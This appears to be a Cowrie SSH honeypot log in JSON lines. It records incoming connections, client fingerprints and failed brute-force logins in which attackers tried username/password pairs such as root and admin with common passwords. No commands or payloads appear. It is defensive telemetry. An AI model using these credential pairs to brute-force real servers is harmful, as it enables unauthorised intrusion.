{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.169426Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:36.252855Z","src_ip":"91.92.40.4","session":"b3f873d9dd8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.177.22","src_port":40208,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6a0ed421ed0","protocol":"ssh","message":"New connection: 162.241.177.22:40208 (159.203.135.109:22) [session: e6a0ed421ed0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:37.892868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:37.896618Z","src_ip":"162.241.177.22","session":"e6a0ed421ed0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:37.918562Z","src_ip":"162.241.177.22","session":"e6a0ed421ed0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"B1uz3ll3@S3cur3","message":"login attempt [root/B1uz3ll3@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:37.985389Z","src_ip":"162.241.177.22","session":"e6a0ed421ed0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:39.010784Z","src_ip":"162.241.177.22","session":"e6a0ed421ed0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":27708,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ce8a14a2e45","protocol":"ssh","message":"New connection: 38.93.206.2:27708 (159.203.135.109:22) [session: 1ce8a14a2e45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:44.799005Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:44.803730Z","src_ip":"38.93.206.2","session":"1ce8a14a2e45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:44.858495Z","src_ip":"38.93.206.2","session":"1ce8a14a2e45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"7777sd","message":"login attempt [root/7777sd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:45.012478Z","src_ip":"38.93.206.2","session":"1ce8a14a2e45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:46.071036Z","src_ip":"38.93.206.2","session":"1ce8a14a2e45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43216,"dst_ip":"159.203.135.109","dst_port":22,"session":"54c3ebb38bee","protocol":"ssh","message":"New connection: 160.187.174.22:43216 (159.203.135.109:22) [session: 54c3ebb38bee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:50.066252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:50.070407Z","src_ip":"160.187.174.22","session":"54c3ebb38bee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:50.336265Z","src_ip":"160.187.174.22","session":"54c3ebb38bee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"abc123","message":"login attempt [test/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:51.047409Z","src_ip":"160.187.174.22","session":"54c3ebb38bee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:52.286565Z","src_ip":"160.187.174.22","session":"54c3ebb38bee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":56470,"dst_ip":"10.17.0.5","dst_port":22,"session":"748b76b00bb0","protocol":"ssh","message":"New connection: 103.77.242.62:56470 (10.17.0.5:22) [session: 748b76b00bb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:54.711331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:54.715271Z","src_ip":"103.77.242.62","session":"748b76b00bb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:54.954610Z","src_ip":"103.77.242.62","session":"748b76b00bb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"290582","message":"login attempt [root/290582] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:55.665878Z","src_ip":"103.77.242.62","session":"748b76b00bb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:56.906657Z","src_ip":"103.77.242.62","session":"748b76b00bb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.249.148","src_port":38570,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d13cf077f61","protocol":"ssh","message":"New connection: 192.169.249.148:38570 (10.17.0.5:22) [session: 6d13cf077f61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:59.100749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:59.104593Z","src_ip":"192.169.249.148","session":"6d13cf077f61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:59.169353Z","src_ip":"192.169.249.148","session":"6d13cf077f61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kabul_afghanistan","password":"kabul123","message":"login attempt [kabul_afghanistan/kabul123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:59:59.366232Z","src_ip":"192.169.249.148","session":"6d13cf077f61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:00.436394Z","src_ip":"192.169.249.148","session":"6d13cf077f61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":58929,"dst_ip":"159.203.135.109","dst_port":22,"session":"90a6962a77be","protocol":"ssh","message":"New connection: 178.20.210.208:58929 (159.203.135.109:22) [session: 90a6962a77be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:18.733659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:18.739802Z","src_ip":"178.20.210.208","session":"90a6962a77be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:18.851593Z","src_ip":"178.20.210.208","session":"90a6962a77be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsxroot","message":"login attempt [root/1qaz2wsxroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:19.257473Z","src_ip":"178.20.210.208","session":"90a6962a77be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":37562,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9ace553f05a","protocol":"ssh","message":"New connection: 160.187.174.22:37562 (159.203.135.109:22) [session: b9ace553f05a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:19.878924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:19.883151Z","src_ip":"160.187.174.22","session":"b9ace553f05a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:20.124250Z","src_ip":"160.187.174.22","session":"b9ace553f05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:20.361333Z","src_ip":"178.20.210.208","session":"90a6962a77be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:20.853122Z","src_ip":"160.187.174.22","session":"b9ace553f05a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:22.096475Z","src_ip":"160.187.174.22","session":"b9ace553f05a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":54120,"dst_ip":"10.17.0.5","dst_port":22,"session":"da517ed4dbbb","protocol":"ssh","message":"New connection: 62.133.62.83:54120 (10.17.0.5:22) [session: da517ed4dbbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.456948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.460938Z","src_ip":"62.133.62.83","session":"da517ed4dbbb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.543687Z","src_ip":"62.133.62.83","session":"da517ed4dbbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":60600,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b05b0b17008","protocol":"ssh","message":"New connection: 103.82.20.28:60600 (10.17.0.5:22) [session: 5b05b0b17008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:00:26.553347Z"}
